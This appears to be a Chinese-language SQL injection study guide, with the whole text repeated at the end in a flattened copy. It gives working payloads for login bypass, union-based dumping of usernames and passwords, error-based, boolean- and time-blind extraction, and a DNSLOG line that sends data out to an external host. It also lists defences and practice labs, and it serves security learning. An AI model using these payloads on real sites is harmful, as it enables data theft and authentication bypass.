SQL注入:自我小结
字数 1634 2025-08-15 21:31:32

SQL注入全面教学文档

0x00 SQL注入概述

SQL注入是一种通过输入恶意SQL语句来修改后台数据库操作语句的攻击技术,攻击者可以执行增删改查(CRUD)操作,甚至进行数据库提权。

0x01 SQL注入的危害

  1. 猜解后台数据库:盗取网站敏感信息
  2. 绕过验证:使用万能密码如' or '1'='1' #绕过登录验证
  3. 数据库提权:借助数据库存储过程进行提权
  4. 植入木马:向服务器上传恶意文件
  5. DoS攻击:造成拒绝服务攻击

0x02 SQL注入基本流程

  1. 判断是否存在注入点及注入类型(字符型/数字型)
  2. 判断查询列数和回显位置
  3. 获取数据库信息
  4. 破解加密数据
  5. 提升权限
  6. 内网渗透

0x03 SQL注入分类

按注入变量类型分类

  • 数字型http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 --+
  • 字符型http://127.0.0.1/sqli/Less-1/?id=1' #?id=1' and '1'='1

按请求方式分类

  • GET注入:通过修改URL参数进行注入
  • POST注入:通过修改POST数据包进行注入

按注入方式分类

  1. 联合查询注入:使用UNION操作符合并多个SELECT结果
  2. 报错型注入:通过页面报错信息判断语句正确性
  3. 堆查询注入:使用分号执行多条SQL语句
  4. 盲注
    • 布尔盲注:通过页面正常/异常判断
    • 时间盲注:通过sleep()函数延迟判断

按编码问题分类

  • 宽字节注入:利用编码绕过转义处理

0x04 Union联合查询注入

基本语法

SELECT column_name FROM tables1 
UNION 
SELECT column_name FROM tables2

注入步骤

  1. 判断注入点及闭合符号id=1'id=1"id=1)
  2. 判断列数order by 3(二分法确定)
  3. 定位回显位置id=-1' union select 1,2,3 --+
  4. 查看所有数据库
    union select 1,2,group_concat(schema_name) from information_schema.schemata
    
  5. 查看当前数据库表
    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
    
  6. 查看表字段
    union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
    
  7. 获取关键信息
    union select 1,2,group_concat(password,"_",username) from users
    

0x05 报错注入

原理

利用MySQL函数限制条件触发报错信息回显

常用函数

  1. Extractvalue
    extractvalue(1,concat('~',(select @@version)))
    
  2. Updatexml
    updatexml(1,concat('~',(SELECT @@version),0x7e),1)
    
  3. Floor
    select count(*),concat(floor(rand(0)*2),'~',version())x from information_schema.schemata group by x
    

注入步骤

  1. 获取数据库
    and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),1)
    
  2. 获取表名
    and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)
    
  3. 获取字段名
    and updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)
    

0x06 盲注

布尔盲注

常用函数

  • length(string):获取字符串长度
  • substr(string,start,length):截取字符串
  • ascii(str):返回字符ASCII码
  • left(string, n):返回左边n个字符

注入示例

and length(database())=5 --+
and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='s' --+

时间盲注

常用函数

  • if(condition,expr1,expr2):条件判断
  • sleep(n):延迟n秒
  • benchmark(count,expr):重复执行表达式

注入示例

and if(ascii(substr((select database()),1,1))=112,sleep(5),1) --+

0x07 宽字节注入

原理

利用GBK编码特性,使转义符\与后续字符组合成有效字符

防御方法

  1. 使用mysql_set_charset(GBK)指定字符集
  2. 使用mysql_real_escape_string进行转义

0x08 堆查询注入

特点

  • 使用分号;执行多条SQL语句
  • 可执行任意SQL语句(非仅限于查询)

局限性

  1. 受API或数据库引擎限制
  2. Web系统通常只返回第一个查询结果

0x09 其他注入类型

二次注入

  1. 恶意数据被转义后存入数据库
  2. 从数据库取出时被还原并执行

二次编码注入

利用urldecoderawurldecode函数导致二次解码

DNSLOG注入

select LOAD_FILE(CONCAT(SELECT version()),'.tfq4oz.dnslog.cn\\abc')

0x0A 防御措施

  1. 使用参数化查询(预处理语句)
  2. 对输入进行严格过滤和转义
  3. 最小权限原则
  4. 错误信息处理
  5. 使用Web应用防火墙(WAF)

0x0B 学习资源

  1. SQL注入靶场:SQL-labs、DVWA、Webug、Pikachu
  2. 参考文章:

本教学文档涵盖了SQL注入的核心知识点,包括各种注入技术的原理、实现方法和防御措施,适合作为渗透测试和安全研究的学习参考。

SQL注入全面教学文档 0x00 SQL注入概述 SQL注入是一种通过输入恶意SQL语句来修改后台数据库操作语句的攻击技术,攻击者可以执行增删改查(CRUD)操作,甚至进行数据库提权。 0x01 SQL注入的危害 猜解后台数据库 :盗取网站敏感信息 绕过验证 :使用万能密码如 ' or '1'='1' # 绕过登录验证 数据库提权 :借助数据库存储过程进行提权 植入木马 :向服务器上传恶意文件 DoS攻击 :造成拒绝服务攻击 0x02 SQL注入基本流程 判断是否存在注入点及注入类型(字符型/数字型) 判断查询列数和回显位置 获取数据库信息 破解加密数据 提升权限 内网渗透 0x03 SQL注入分类 按注入变量类型分类 数字型 : http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 --+ 字符型 : http://127.0.0.1/sqli/Less-1/?id=1' # 或 ?id=1' and '1'='1 按请求方式分类 GET注入 :通过修改URL参数进行注入 POST注入 :通过修改POST数据包进行注入 按注入方式分类 联合查询注入 :使用UNION操作符合并多个SELECT结果 报错型注入 :通过页面报错信息判断语句正确性 堆查询注入 :使用分号执行多条SQL语句 盲注 : 布尔盲注:通过页面正常/异常判断 时间盲注:通过sleep()函数延迟判断 按编码问题分类 宽字节注入 :利用编码绕过转义处理 0x04 Union联合查询注入 基本语法 注入步骤 判断注入点及闭合符号 : id=1' 、 id=1" 、 id=1) 等 判断列数 : order by 3 (二分法确定) 定位回显位置 : id=-1' union select 1,2,3 --+ 查看所有数据库 : 查看当前数据库表 : 查看表字段 : 获取关键信息 : 0x05 报错注入 原理 利用MySQL函数限制条件触发报错信息回显 常用函数 Extractvalue : Updatexml : Floor : 注入步骤 获取数据库 : 获取表名 : 获取字段名 : 0x06 盲注 布尔盲注 常用函数 : length(string) :获取字符串长度 substr(string,start,length) :截取字符串 ascii(str) :返回字符ASCII码 left(string, n) :返回左边n个字符 注入示例 : 时间盲注 常用函数 : if(condition,expr1,expr2) :条件判断 sleep(n) :延迟n秒 benchmark(count,expr) :重复执行表达式 注入示例 : 0x07 宽字节注入 原理 利用GBK编码特性,使转义符 \ 与后续字符组合成有效字符 防御方法 使用 mysql_set_charset(GBK) 指定字符集 使用 mysql_real_escape_string 进行转义 0x08 堆查询注入 特点 使用分号 ; 执行多条SQL语句 可执行任意SQL语句(非仅限于查询) 局限性 受API或数据库引擎限制 Web系统通常只返回第一个查询结果 0x09 其他注入类型 二次注入 恶意数据被转义后存入数据库 从数据库取出时被还原并执行 二次编码注入 利用 urldecode 或 rawurldecode 函数导致二次解码 DNSLOG注入 0x0A 防御措施 使用参数化查询(预处理语句) 对输入进行严格过滤和转义 最小权限原则 错误信息处理 使用Web应用防火墙(WAF) 0x0B 学习资源 SQL注入靶场:SQL-labs、DVWA、Webug、Pikachu 参考文章: SQL注入详解 二次注入分析 本教学文档涵盖了SQL注入的核心知识点,包括各种注入技术的原理、实现方法和防御措施,适合作为渗透测试和安全研究的学习参考。